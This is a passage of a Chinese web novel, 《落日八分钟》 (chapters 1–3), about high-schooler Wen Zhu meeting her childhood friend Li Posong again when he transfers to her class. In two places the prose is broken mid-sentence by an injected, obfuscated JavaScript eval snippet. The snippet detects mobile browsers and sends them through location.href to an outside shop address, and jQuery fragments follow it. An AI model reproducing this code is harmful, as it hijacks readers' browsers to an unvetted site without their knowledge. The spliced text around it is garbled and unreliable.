《落日八分钟》 1. 天降竹马 《落日八分钟》 文/南下苏杭 2024.7.6 “各位领导、老师,亲爱的同学们,大家早上好。春回大地,万象更新,今天……” 隔着一道围栏,闻竹在一中校园外站着,泰然自若地听开学典礼。又是俗套的开场白,她腹诽。 前段时间下了雪,到现在人行道上还结着一层薄薄的冰霜。今天的温度达到了最近以来天气数据的最低值,冷意像是能穿透衣服刺到人的身上。 闻竹抬手看了眼羽绒服的袖子,无声地叹了口气。 “干嘛呢你!”突然出现的人打破了她的神游,伴随着声音的出现,一只手在她右肩上迅速拍了一下。 闻竹有点被吓到,她深呼吸一口气,偏头朝左看,不出所料,曲思嘉一张放大的娃娃脸出现在眼前。 “你怎么知道是我?”她水汪汪的眼睛睁大了些,好像真的很好奇。 闻竹被她震惊的表情逗笑了,她故意说:“或许是因为,只有你这么无聊?” 对方不服气:“那你怎么知道我在你左边?我明明特意拍的你右肩。” 因为我长记性啊。 闻竹想了想,话到嘴边又改了:“因为我了解你。” “好吧,”曲思嘉顿了顿,扑哧一下乐了:“虽然有点虚伪,但甜言蜜语永远管用,不和你计较了。” 闻竹点头,听到曲思嘉问她:“怎么不进校园?”她侧了侧头,身后的马路已经过了限行时段,除了减速开过的车,还有一些拎着包步履匆匆的上班族,学生却寥寥。 隔着一道围栏,操场上开学初的升旗仪式进行到了惯例的领导讲话环节,校长的声音穿透力特别强,大概方圆千米都能听到。闻竹瞥了眼学校钟楼那口带着历史厚重感的古老大钟,没答她的话,而是凑近了些反问道:“迟到二十分钟了,曲思嘉同学,你呢,今天怎么这么淡定?” 曲思嘉家离学校不算远,上学非常方便,但她是起床很困难,刚开学的时候是个不折不扣的迟到专业户、废纸供应商。但班主任孟丽岩非常严格,久而久之,大家身上的顽症也多少改了些。 闻竹家稍远些,前几个月恰逢市里翻修立交桥需要绕路,要是晚了两分钟出门,赶上早高峰得堵半个多小时,两分钟之差都是迟到与不迟到的区别。所以她要么到得比较早要么迟到,去年在学校门口租了房子后这种尴尬的情况才有所改善。 “这不是看见你了嘛,自己挨罚太寂寞了,有人陪就是不一样……”曲思嘉一边忆往昔,一边心大地往闻竹身上靠了靠,“有你在我就不怕了,开学第一天被罚,往好了想,也算开门红了。” “这心态倒是不错,你也知道这是开学第一天。”闻竹哭笑不得,偏头看了她一眼,她张了张嘴,又闭上,最后还是开口狠心地戳破了曲思嘉心里排练的“患难与共”剧本。 闻竹:“但我请假了。” “???” “你怎么才说!”曲思嘉瞳孔地震,朝她皱了皱鼻子:“我会恨你的。” 闻竹很没心地笑了下:“你也没问呀。” 曲思嘉很抓狂,她郁闷了一会儿才猛然反应过来:“那你在这站着干嘛,还不进去?” “大梁那个名单上记了一串人名了,我没穿校服。”闻竹抬手拽了下自己的羽绒服袖子安抚道:“所以还是患难与共的,放心。” “……”旁边人颇为幽怨地看着她,“你下次说话……” 两个人一个没穿校服一个迟到了将近半个小时,却云淡风轻地扒着栏杆在旁听开学典礼,这种行为越看越离谱,尤其是出现在开学第一天。 “给路一杭发个微信?”曲思嘉出主意,“他应该没参加开学典礼,能不能让他……” 两个人脑袋凑在一起策划了一会儿,转到了学校的北边,过了十多分钟,一个高个子戴眼镜的男生出现在了围栏内侧。 “疯了?” 隔着一道围栏,路一杭的第一句话非常简洁且不客气。他顿了顿,没忍住说了句废话:“你们两个要翻墙?” “啊?”曲思嘉觉得他大惊小怪:“毕雨泽每次逃寝出去玩不就是在这走的吗?” 她说着,指了指面前的围栏。 “……你想想,有可比性吗?就像一个黄瓜和一个西瓜。” “这哪儿像了,本体喻体毫不相干……”曲思嘉很迷茫。 “所以才没有可比性啊,”路一杭比划了一下,看着曲思嘉清澈的眼神无奈了:“他腿多长,你俩腿多长?” “……” 闻竹抬头瞥了一眼围栏。 一中北边的这个地方是学生停放非机动车的区域,旁边一大块场地都是植物园,这里是一中严格校规校纪下唯一能钻空子的地方。 “好了路同学,控制一下你的老妈子人格,你也知道岩姐的脾气。”闻竹一手拎着曲思嘉的书包,另一只手虚虚地护着她,在曲思嘉踩上砖墙时道:“接一下思嘉。” 曲思嘉落地之后,闻竹把两人的书包扔了进去。 他们两人站在围栏底下围观了一会儿,忽然觉得闻竹的跆 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路一杭他们两个人在梁主任面前垂着头,像两个霜打的茄子,看似在认真反省,眼角余光却一直在往闻竹那边瞥。挺够意思的,这个时候还惦记着被抛下的朋友,然而时机不对,这行为无异于火上浇油。 梁主任没多想,转头朝闻竹喊:“你还不下来,等着我去请你吗?” “……” 闻竹是“只要我不尴尬尴尬的就是别人”这句话的忠实信奉者,但被“挂”在围栏这儿依然让她觉得很不自在。空气安静了一段时间,梁主任又开始盯着路一杭他们两个进行眼神杀,顾不上理她了,闻竹视线扫过去,这才发现大梁旁边还站着一个男生。 清晨的阳光有些刺眼,导致闻竹5.0的好视力完全派不上用场。她微眯了下眼睛,只发现这男生身高腿长,站着的时候腰背挺直,如松如竹。 哦,他也没穿校服。 正式上学期间不穿校服出现在梁主任身边,这事儿本身毫不稀奇,闻竹只把这个男生当成了周会大喇叭通报批评的搭子。但那个男生却忽然朝她这边走了几步,她还没反应过来,男生就已经站在了离围栏不远的地方,还朝她伸出一只手。 “跳吧。”闻竹听到他说。 她震惊得嘴巴都微微长大了些,这才避过朝阳看清了男生的长相,在这朝曦晨雾里露出了非常生动的表情。 站在台阶上的女孩迟迟不动,男生大概觉得她可能有点紧张,于是晃了下手,语调温和地道:“跳吧,没事的,摔不着。” 2. 后排靠窗 两条小金鱼在鱼缸里欢快游动,闻竹拿出了做化学实验的专注劲儿观察摆动的鱼尾,认真之余还没忘分出一只耳朵听梁主任训话。 隔了一个漫长的寒假,他一开口又是老生常谈:“你们已经正式步入高二下学期了,还没从寒假的闲散里恢复状态吗?迟到不参加开学典礼也就算了,还翻墙进来,你们说危不危险!高三的同学百日誓师都结束了,离高考还有几天自己心里没数??” 又看了他们三个一眼,语气里恨铁不成钢的意味更明显了。他用手里卷着的文件敲了两下桌角,强调道:“尖子生,正式开学第一天!” 闻竹和路一杭一言不发,虽然不知道有没有在反省,但一直微微低着头,能伸能屈,认错态度良好。 梁主任还想输出些什么,手机忽地在兜里响了,他皱了皱眉,嘴里声音不大地抱怨了两句,接了电话说了两句后就出了门。 三个人等了会儿没见大梁回来,于是开始对刚才发生的事情复盘。 曲思嘉开口道:“小路你来的时候没看见主任在后边啊?” “没有,”路一杭平时也不是活泼的人,但今天高冷得有些反常,现在依然:“我眼睛又不长后脑勺上。” 曲思嘉听了,偏头想了想:“也对。” “……”路一杭无能狂怒,“还说我呢,你们两个真是想一出是一出,这才刚开学,岩姐得让咱们三个卷铺盖回家了。” 不过事情已经发生了,互相推责也没用,而且本来就是她们两个胡闹,只好听从发落。 “不过,那个男生……”曲思嘉提起里那个把闻竹拉下来的人,扯着她的袖子晃了几下:“我以前从来没见过,他也没穿校服,是哪个年级的转学生吗?” 路一杭纳闷:“全校这么多人,你怎么知道以前没见过他?” 曲思嘉没怎么思考:“他帅啊,长成他这样的没上过表白墙和学校论坛?这这怎么可能,我甚至在表白墙刷到过你!” “???” 如果是别人说这话,那可能是故意内涵他的,但这人是曲思嘉……路一杭侧头,对上她的眼神,简直无话可说。 曲思嘉发现闻竹从刚才开始沉默了起来,她想了想,转头看过去,顿了一会儿还是问:“竹子,你们两个是不是认识?” 闻竹音调抬高“嗯”了一声,带出来一个疑惑的尾音,她笑了下:“你猜的呀?” “你们两个看起来不像陌生人。”曲思嘉一边回忆一边说:“氛围就不像。而且梁主任发火呢,那种情况还能去帮你,应该不是学雷锋吧。” 曲思嘉是有话就说的性子,闻竹在她面前也坦诚得很,不会隐藏什么事情。她点头:“是认识,但也很久没联系了。他以前是我邻居,我们关系还不错。初中的时候他转学去宁城了,我们有……三年没见了。” 闻竹说这话的时候依然保持着刚才微微垂头的姿态,睫毛垂着忽闪了几下,有几丝遗憾的情绪无意中从语气里露出来。其实她一直觉得李泊松是她从小到大最好的朋友,但现在她自己也不知道怎么定义,只好轻描淡写一笔带过。 听了这话,曲思嘉“啊”了一声,“关系不错的邻居?青梅竹马?” 神游天外的路一杭也看了过来:“怪不得你那么惊讶。” 没认出他的时候,闻竹以为那是个没穿校服被梁主任抓到的学生,现在想想,其实是他转学回来了。 李泊松离开临城的时候他们正读初二,那个时候因为是邻居,年纪也一样大,两个人非常要好。随着年龄增长,性别不同的界限感似乎也没有影响到他们的感情。有了多年感情的积累和铺垫,在知道他要转学去外地的时候,闻竹非常难过。 那时是千禧年后的第一个十年,智能手机作为一样新鲜的科技走进千家万户,人们之间开始用微信联系,只不过当时他们两个都没有微信。几乎每天放学后,闻竹都会在家里的电脑上登录自己的Q.Q,打开备注是李泊松的对话框,两个人互相聊一下学校里发生的事。李泊松话比较多,闻竹大多数时候只是看他说什么。 后来因为距离太远,大概彼此也都有了新的朋友,交流变得越来越少。并不像电影的高潮有一个明确的时间节点,他们像很多人、很多首写老友的歌一样,渐渐地就没什么联系了。 闻竹和父母、妹妹都讲过这段遗憾的友情,她觉得李泊松是“和她在大雾里走散的人”,但因为认识得太久,又和她生命中那些真正的过客不同。 - 开学典礼已经结束了,各班纷纷站排回到了教室。教导处在二楼的拐角,正对着教学楼的侧楼梯,一时间,二楼以及二楼以上的班里都从门口经过,门开着,他们仨一直在那儿被人“参观”。 “梁主任还没回来?”闻竹在回忆里抽离,听着外面踢踢踏踏不停的脚步声,抬头看了眼挂钟。 曲思嘉歪头:“不知道去哪了,咱们还是想想怎么跟岩姐解释吧。” 路一杭:“还不是你们两个出的主意。” “……你今天怎么看着谁怼谁。”曲思嘉看着他,眼尾微挑,疑惑道:“过年长了一岁,你的叛逆期姗姗来迟了?” 路一杭:“……” 曲思嘉拖长音调“哦”了声,兴致勃勃地猜测:“我知道了,今天出摸底考试成绩,你是看到成绩了吧!我们竹子超过你了?” 听她这么说,闻竹也难得产生了点兴趣。 “真的假的?”她带着点看热闹不嫌事大的意思,也加入了话题:“快说说,怎么回事?” 路一杭“嘁”了声,神神叨叨地说:“半真半假吧。” “啊!”曲思嘉很着急的样子:“别卖关子,咱们还打着赌呢,她登基了没?” “闻竹是比我考得好,但没登基。”路一杭说完之后觉得登基这个词实在挺逗的,没忍住乐了,笑完之后他说:“还登基呢,以后估计都够呛了。” 闻竹突然吃了这么一口瓜,还没反应过来:“什么啊……” 她们两个刚想继续问,梁主任从门外进来了,视线像探照灯一样从三个人脸上一一扫过,然后道:“我这边有点事,今天就到这吧。我反复强调,我们一中……” 大梁见缝插针地渗透了一下学校的校风和教学理念,最后道:“把你们名字写下来,我一会儿会给你们孟老师打电话,让她对你们进行批评教育。你们三个的成绩都在年级大榜第一张,好学生就这么无视校纪校规?回去好好反省!” “梁主任,”闻竹在他翻手机通讯录的时候见缝插针开口:“这几条小金鱼挺可爱的,是您养的吗?” “哦,我家孩子的。”这话题好像找对了,他的态度没有刚才那么严肃,也没训人,“考试那天她来找我的时候楼下办公室老师给的,她说先放我这养着,过几天她们科学课上要观察金鱼,那时候还得用呢。” 话音刚落,他琢磨琢磨又自言自语道:“我这几天得去外地参加个活动,应该把这个带回家去。” “那我们帮忙养几天吧。” 闻竹头脑飞速运转,说完,梁主任还没什么反应呢,旁边两个人的眼睛倒是齐刷刷地看向了她。 两分钟后,三人关上教导处的门,闻竹顿了顿,眼神有些无辜:“这么看我做什么?” “看你急病乱投医,运气还挺好,”曲思嘉笑眯眯的,“拯救了三个人。” 路一杭抱着鱼缸,头上两道黑线:“好什么,这大鱼缸怎么办?我抱着这个进去,一开门,‘唰’,全班的焦点。” “淡定,我们陪着你呢,绅士风度、风度……”曲思嘉劝他。 闻竹刚才还能和他们插科打诨两句,现在却满脸写着四大皆空,她一边上楼梯,一边在想摸底考试的成绩。 文理分科结束之后班级打乱重排,他们现在所在的高二三班是理科四个尖子班中的一个,在班级里,这半年来,只要考试排名次,第一名的位置基本上不是她就是路一杭。 这么乍一听起来好像挺唬人的,其实也没高后面的同学太多分,毕竟这个班绝大多数学生都在尖子生的行列里,成绩上没有明显的层级分化。但他们的几个损友就很兴奋,甚至每次都在考试前因为堵谁是第一开个庄,谁成想这次放假回来突然冲出来一匹黑马。 不怕同学是学霸,就怕学霸放暑假……这是什么魔咒吗? 路一杭他们两个也猜到她在想什么了,全程都安安静静地上楼,曲思嘉特别好奇到底是怎么回事,只不过路一杭嘴比刚砌的墙还严实,什么都不说,饶是她心里再长草也没办法。这么想来想去的,没一会儿就到了班级门口。 “全班的焦点”一行三人,路一杭两个胳膊抱着鱼缸,依然是走得最快的。他在班级门口顿住脚步,顺着门玻璃往教室里看了眼,整个班只有一半人,估计剩下的都跑去楼外看年级大榜了。 正思考要不要进门时,闻竹和曲思嘉走过来了。 曲思嘉问:“岩姐在吗,直走还是向后转?” “在。哎,哎——”路一杭偏头叫住她们俩:“别向后转了,我手不方便,快来帮我开下门。” 曲思嘉:“岩姐在,咱们还进去,那不是撞枪口吗?” 路一杭:“她刚跟我对视了,还往哪跑。” 闻竹&曲思嘉:“……” 因为大梁没说扣班级分,他们仨也就没主动提翻墙进校门被抓的事,只说抱着的鱼缸是梁主任的,他们帮忙养几天金鱼。 孟老师的工龄快和他们三个年纪差不多大了,什么把戏没见过,一听这话就知道他们又闯祸了,遂问:“梁主任怎么不找别人,偏偏找上你们了?又去教导处参观了吧,小聪明都用在没用的地方了。” 她有种固定的威严和气场,即使在微笑也会让人觉得很有压迫感。三个人心里知道闯了祸,都不说话,鹌鹑似的听着。 不过能看得出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079119|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来今天岩姐心情挺好。 想来也不奇怪,来了个转学生,成绩高得离谱,全班平均分又往上抬了,谁是班主任都免不了高兴。 一阵电话铃声响起,岩姐快速地接了电话,说了两句客套话之后又挂断,然后拿着手机和外套起身。 她摆了摆手示意他们三个回去,匆忙之中还没忘记进行德育教育。 “别的事我不计较了,下不为例,你们两个迟到没去开学典礼,自己去领罚。还有那个鱼缸,找地方妥帖地安置好,别再闯祸了。” 闻竹走到自己座位的时候曲思嘉已经把书包放好了,路一杭在给鱼缸和小金鱼们找“归宿”,她书包还没放下,就听见曲思嘉惊呼了一声。 “又怎么了?你今天都吓我好几次了啊。” “不是,”曲思嘉拉住她的书包带子,又指了指最后一排靠窗的座位,那个座位上放着个塑料袋,袋子里是他们学校的校服。 “那句话怎么说的来着,‘后排靠窗,王的故乡’。咱们班不多不少四十九个人,这个座位一直都是空着的。” “啊?”闻竹看了一眼,马上就明白这是谁的位子了,她转头朝路一杭那边招呼了一声,问道:“小路,毕雨泽有同桌了?” 路一杭把鱼缸放在了班级后边荣誉墙的柜子上,听到这话的时候刚把脸转过来。曲思嘉、闻竹和毕雨泽三个人坐一列,分别是第三、四、五排,路一杭是闻竹的同桌。 闻言,他“嗯”了声,装高冷装不下去了:“是啊,而且他这个新同桌还真挺‘王’的,坐这个座位合适,你们到时候看成绩单吧,他……哎草,这也太巧了!” 闻竹条件反射般地回头,看到了一张熟悉的脸。 没等她做过多的反应,和转学生前后脚进来的岩姐拍了几下手道:“安静,大家都坐好。”她的视线缓缓扫过全班,教室里瞬间鸦雀无声。 闻竹把围巾塞进桌格里,路一杭也赶忙回到闻竹旁边的座位坐下。岩姐说:“现在全班同学基本都到齐了,我们请新同学做个自我介绍。”她难得地笑了下,先带头鼓了掌。 其实在听到班里来了一个转学生之后,她大概就猜到了这个结果,但是心里想的和事实毕竟不同,她抬头看着讲台,心里情绪纷繁。 “大家好,我叫李泊松,停泊的泊,松柏的松。”他只对名字做了简单的介绍,从哪里转学过来的,兴趣爱好什么的都一概没提。之后他又说了希望和大家成为朋友这一类的话,闻竹神游天外没有听。 这个自我介绍俗得很,但他说完话之后笑了下,还礼貌地鞠了个躬。 他的长相在现在来说应该算是淡颜系帅哥,明亮干净,五官优越,眼角的泪痣显得眼睛更加有神,随便笑一下就帅得很张扬。大概是这个善意的笑拉到了好感,听到身边的同学们开始鼓掌了,闻竹才回神,象征性地抬了手。 这个时候,她才得空仔细地观察了一下这位旧时的好朋友。 她从小就知道李泊松有副优越的皮相,小的时候叔叔阿姨和老师们夸,长大了学校的同学夸,长到现在,半点没有长残。这种祸害小姑娘的脸,以岩姐未雨绸缪的教育风格,过不了几天就得把他请到办公室进行不要早恋的思想教育。 开学之前已经上了两周的课了,同学们刚收的心就因为这个新面孔重新沸腾了起来。全班起哄热闹了一阵,大家都是能拱火炒气氛的,还有人趁乱吹了声口哨。 这些孟老师一概没管。 气氛炒热了好不容易安静下来,教室后边墙角处却忽然传来语气挺惊讶的一句:“我去,这哥们帅啊。” 不用回头都知道这声音来自谁——拥有了新同桌的毕雨泽。 他刚早训结束,背着包从后门进班,在一些女生刻意压住的低呼声和讨论声里突然来了这么一句话,声音还不小,搞得周围听得见的同学们都笑得不行。 毕雨泽刚才没听清楚,等到李泊松坐在他旁边了,他才又问:“帅哥你是我新同桌啊,你刚才说你名字是哪两个字?物理书上泊松分布的那个‘泊松’?” 说完后毕雨泽就发觉自己嘴瓢了,没等他改过来,他的新同桌就接了话。 李泊松笑了下,语气轻松:“啊,对,就是那个……在比萨斜塔做自由落体实验的泊松。” 听了这话,闻竹没忍住笑出声。 这对话听起来有种歪打正着的幽默感。一回合下来,路一杭评价:“这种破梗都能接住,厉害,我服气了。” “你不是在人家考六百九的时候就已经服气了吗?”闻竹明明在开玩笑,脸上却没什么表情,让这句话显得嘲讽性很足。 路一杭:“……” 闻竹一直以来都是这个脾气,机灵、反应快、说话赶趟儿,虽然脾气算不上好但是比较讲理,不然估计没人吵得过她。 她一句话让路一杭不知道说什么好,只得腹诽:就算是发小也不能这么偏心啊。 3. 最佳损友 毕雨泽听见闻竹笑了,他把费尽千辛万苦摸出来的那支笔放在桌上,语出惊人道:“哎闻竹,你们两个挺有缘的啊。” 闻竹收拾桌格的动作顿了下,路一杭回头,盯着他一言不发。 他们这个小团体现在除了毕雨泽都知道李泊松和闻竹是发小了,毕雨泽不知道,他是怎么突然说出这么一句话的? 毕雨泽没看懂他这个眼神的意思,心直口快道:“松竹嘛。” 闻竹呵了一声,从桌格里拿出了下节课要用到的物理书。 年级大榜已经打印出来订成册送到了各个班,大家一窝蜂地去看排名,路一杭和毕雨泽在帮忙发班级成绩单,纪律严整的班级难得乱套。就在这样卷子满天飞的时候,闻竹坐在自己的座位上回头去看李泊松。 他原本在写字,闻竹刚开口,他就抬起了头,好像有什么心灵感应一般。 “你……” “我……” 两个人同时开了口。 这个画面其实颇有戏剧性,不过按照电视剧的照常套路,应该是两个人同时沉默,然后互相客气一下表示“你先说”,但这个场景放在他们两个身上就会显得非常奇怪,而且这个反应也不符合闻竹平时的性格。 她看李泊松没说话,没和他你谦我让,开口道:“你学籍转过来了?这一年半就在这读了吗?” 刚刚开口的时候还有些犹犹豫豫的,被打断后却说得很顺畅。 李泊松从进班级到现在一直笑眯眯的,这会儿却倏地愣了。 他撂下笔,抬眼看向闻竹。 他本以为闻竹会问他转学回来为什么没和她说,没想到她只关心这个。 李泊松心里熨帖:“嗯,对。” 闻竹刚才是晃悠着椅子,椅背卡在他的桌边和他说话,只给后面的人一个完美的左侧脸。听了这个回答,她皱眉,觉得这个态度颇为敷衍,于是整个身子都转向了他。 没看到李泊松表情的时候,闻竹是这么想的,甚至不知道对方有没有在听,这会儿看到了他的眼睛,之前的疑问却倏地全都不见了。 因为李泊松没再弯着眼睛,而是很认真地看着她,好像在用视线描摹她的侧脸。所以在闻竹看向他的时候,他们能正好对上目光。 闻竹的眉头轻轻舒展开了,她转过头,班级的成绩单正好发到这儿。虽然路一杭早早地给她打过预防针,她也知道李泊松的总分,但真正看到各科成绩的时候还是让她有点惊讶。 闻竹瞥了一眼,把李泊松每一科的减分在心里过了一遍,觉得这个成绩还是很符合她对这人的印象的。 “你刚才要说什么?”她回神问道。 李泊松想,他其实是有很多话想说的,但想来想去,最重要的只有一条。他问:“你这三年这么样?” “还不错,”闻竹点头,拎了下手里的成绩单:“成绩已经追上你了。” 他笑了笑:“叔叔阿姨怎么样?妹妹呢?” 真官方啊。 闻竹心里吐槽着,嘴上好好回答:“都挺好的。” 她本想再说点什么,预备铃响了,也就作罢了。 刚才毕雨泽一直在说名字,倒是让她想起了一件小时候的事。 整个小学六年,闻竹和李泊松都在一个班里,刚上一年级的时候,别的小孩想家,觉得害怕,她就因为有自己熟悉的伙伴而心安很多。一年级的闻竹小朋友梳着两个可爱的小辫子,坐在座位上安慰哭泣的同桌。 他们的小学班主任老师很喜欢李泊松,因为别的小孩——当然也包括闻竹在内——都很爱动,喜欢咬手指的、喜欢叠纸的、还有喜欢躺在椅子上的…… 但李泊松是所有老师夸奖的对象,因为他有礼貌又懂事,每天都坐得非常端正,语文老师在讲一年级课文“站如松坐如钟”的时候还拿他举了例子,说他名字取得好。 至于这点小事她为什么记到现在,想来应该是对当时班级里唯一认识的小朋友比较关注吧。 想到这,闻竹又回头看了他一眼,上次她这样去看李泊松好像还在昨天,其实已经过去了五年。现在早已经没有人要求上课的坐姿了,他依然习惯了腰背挺直、如松如竹。 在他们发完成绩单回来的时候,闻竹已经忆童年有一阵子了,她回神后在座位上坐好,全班渐渐安静下来,然后上课铃打响。 老师踏着上课铃走进教室,闻竹听见毕雨泽偷偷摸摸地问李泊松,“你和闻竹……你们两个今天才认识吗?看着挺熟的啊。” 他这话没什么别的意思,只是单纯的好奇心重。闻竹很慢热,相处起来是被动型的,她这个性格实在不像能和新同学聊到一起的。 “没有,”李泊松答得很快,语气自然地道:“我们是发小。” “哦,我去,”毕雨泽瞪着眼睛惊讶了好一阵儿,之后恍然大悟:“青梅竹马是吧。” - 体育课连着午饭或者晚饭的时候,大家可以在解散后提前去吃饭,这个安排特别人性化,可以在食堂想吃什么就吃什么,时间充足,又不需要和其他同学挤在一起。他们班这学期的运气好像开挂一样,一周两节体育课,一节在第五节,一节在第九节,全都挨着饭点。 闻竹和曲思嘉先在一楼找地方坐好,过了两分钟,看到了毕雨泽和路一杭的身影。 “这是什么样的好运,我积德行善就是为了这一刻。”毕雨泽端着一大碗麻辣烫一边坐下一边道。 他们学校食堂的饭基本上是无功无过,但有几个窗口特别抢手,尤其是这家麻辣烫,不夸张地说,它的好吃程度在整个临城都数一数二。 毕雨泽说这话的时候,路一杭刚把餐盘放在桌上,他抬起手一巴掌拍在旁边人脖子上:“出息。” “草,你大爷的,你拍死我得了。” “让你昨天手欠。” 毕雨泽一口面吃了一半,骂道:“你那些脑细胞都用来记仇了吧。” 一上午总共五节课,除了岩姐的化学课和最后一节体育之外,其他两科老师站到讲台上第一件事都是问:“咱们班来转学生了?李泊松是哪位同学?” “因为成绩好嘛。”曲思嘉道。她拿起勺子喝了口汤,又说:“还是闻竹的好朋友。” 闻竹微微抬了下眼皮,不赞同道:“发小而已。” “哦,”曲思嘉觉得自己领会了她的意思,“从幼儿园到现在的好朋友。” 闻竹这次眼皮都不抬了。 今天的菜都是闻竹爱吃的,她夹了块锅包肉放进嘴里,眼睛不甚明显地眯了一下,看起来颇享受,曲思嘉今天中午吃的是烤肉饭,闻竹把盘子往她那边推了推,示意她来吃锅包肉。这个时候,毕雨泽在她的对面聒噪地分享关于他同桌的事。 毕同学半年都没有同桌,旁边有了人气,所以变得有点兴奋,她可以理解,但她不能理解为什么要追着她问关于李泊松的问题。 他一嘴两用,喋喋不休:“在我问他是不是物理书上泊松分布的那个泊松之后,他不也瞎说了一句嘛,我就问他,‘你就这么接话了,不怕误导我们?’他说,‘我看到成绩单了,你们成绩都不错啊,哪儿可能被我误导。’” “成绩不错。”路一杭强调了一下重点,特意在“不错”两个字上加了重音。 “路哥,懂我。”毕雨泽非常虚伪地和路一杭碰了下肩膀,“我琢磨着,不错这俩字其实就是还行的意思吧,不管怎么说咱班也是最强的理科班之一,这程度怎么能叫不错呢,难道他很牛逼?” 曲思嘉一脸天然呆:“人家确实牛逼啊。” “……” 闻竹一直听着,这会儿才抬眼看向毕雨泽问道:“岩姐不是说让你带新同学熟悉熟悉环境吗,他人呢?” “哦,”毕雨泽答:“他说家没搬完,中午回去一趟。” 路一杭纳闷:“午休时间一共才多久,一个半小时,家远的都不够跑一个来回的。他家在哪儿?” 这话是看着闻竹问的,闻竹更无奈了,因为她真的什么都不知道。 “说是学校对面的公寓,”毕雨泽终于舍得把脸从麻辣烫碗里抬起来了,“我忙着吃饭忘记细问了,学校对面……只能是四季学府吧?” “是吗?”曲思嘉往闻竹那边偏了偏头:“那你们以后可以一起上学哎。” 曲思嘉其实一直都希望有一个兄弟姐妹,或者是能和她一起上学的小伙伴,但从小到大她都没这种机会。 闻竹有点想笑:“小学生啊,还一起上学,需要手拉手吗?” 曲思嘉眨眨眼睛,望天感叹:“啊哦,你们两个读小学的时候还会手拉手,真好,羡慕。” “……” 如果真是四季学府的话,住得近也不是没可能,连闻竹家对门都是一中的学生。 这事儿实在不足为奇。 闻竹吃完之后撂下筷子,说自己要回家一趟。她从兜里拿出一串钥匙,随手在指尖转了一圈:“前几天家里有亲戚在,我和小灿就在这边住了几天,她有一科寒假作业落在这了,说一会儿过来取,我得去给她开门。” “喔,”曲思嘉的关注点奇奇怪怪:“你妹妹都没有钥匙,但我有,你这么爱我,简直受宠若惊。” 路一杭冷漠无情,说话一针见血:“有没有可能她是怕自己忘记带钥匙进不去家门,到时候找你拿更方便?毕竟你家离这最近呢。” 清脆的一声响起,曲思嘉把吸管扎进了奶茶里,她无语地看向路一杭,难得怼了一句:“你真是破坏氛围的神啊,你可以不说话的。” “这叫理智。”毕雨泽替他说了。 闻竹听着他们几个拌嘴,嘴角挂着点笑,划拉着手机给闻灿发微信。 前几天还下着雨夹雪,今天却非常晴朗,闻竹觉得最近的天气简直比自己的脾气还善变。今天的风不那么刺骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079120|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至可以称得上是温和,空气里还有泥土的清新味道。 闻灿说自己准备过来之后就再也没发过消息,闻竹也不知道她有没有打到车。发消息没人回,她尝试着拨了一下电话,那边竟然已经关机了。 她步速加快了些,沿路碰到了两个同样在一中的学生。其实大家彼此都不大熟悉,有的甚至连名字都不知道,但都住在这片学区房,又是一所高中的学生,大概有些不言而喻的惺惺相惜在里边,见面的时候大家总会互相打个招呼。 “你今天回家吃?” “我们班又考试了,我这次的成绩让人失眠。” “我们班今天下午有体育课,幸福死了谁懂我!” 或者聊几句明星八卦什么的。 四季学府这个小区听起来高档,实则不新不旧,都是十年前的楼房,小区整体绿化做得还不错,有高层有矮层,闻竹住在矮层这边,这儿的楼比高层那边先建两年,看着更要旧上一些。 几分钟后,她终于接到了闻灿的电话,那边说她已经到了,现在在楼下等着,又叫她不要着急。 刚拐进自己家那栋楼的时候,闻竹看到有搬家公司的人来来去去地在忙,她眯了下眼睛,辨认出站在旁边的那个身影就是刚才吃饭时的话题中心李泊松。 闻竹心说他们几个真是猜什么准什么,这人真住在四季学府啊,还离她住的地方不远。 没准是后脑勺长了眼睛,在帮忙递了点轻快的家具之后,李泊松转过来,正好和闻竹还没移开的视线对上。 “嗨,”他主动挥手打招呼,好像对她出现在这里的事情并不意外:“你住在这栋楼?” “嗯,四单元。” 李泊松背后是一单元。 他笑了下:“那还挺巧的啊,算是邻居了。” 闻竹说:“巧什么,你不是早就知道。” 李泊松还是笑盈盈的:“你怎么知道我早就知道?” 她远远地看到了在单元门口站着地闻灿,虽然懒得和他玩绕口令游戏,但还是认真回答:“看你的表情啊,你一点都不惊讶。” 李泊松弯了下唇,没说什么。闻竹指了指前边道:“我走了。” 她说完,看着眼前路面上的红砖,忽然想起了一个画面。小时候他们两个一起上学的画面突然出现在她脑海里。李泊松背着小书包安安静静地走,她在旁边跳格子。 见鬼了,闻竹想,都怪曲思嘉。 李泊松点头,轻轻地朝她摆了摆手。闻竹走出几步远,听到这人在后边叫了她一声。 “闻竹?” 等她转身看过去时,他问:“下午几点上课?” “一点午读。” 李泊松“嗯”了声,表示自己知道了。“拜拜,学校见。” 闻竹也学着他刚才的样子挥了下手,之后没忍住腹诽,拜拜什么啊,小学生吗。 她转身要走的时候,李泊松又叫住她,她无奈地看他一眼,终于笑了:“李泊松,你怎么和以前一样啊,有话能不能一次性说完?” “我转学是突然决定的,手续办得很急,考摸底是因为学校那边想看看我的成绩能不能进尖子班。”他说:“如果不是这么仓促,我会提前和你说的。” 闻竹心想,他怎么知道自己在意? 她点了下头,说“我知道”。 闻竹绕过搬家公司的车,看到闻灿坐在花园旁边的躺椅上,旁边还有俩大爷在下棋。闻灿性格文静,不爱凑热闹,就安静地等她。 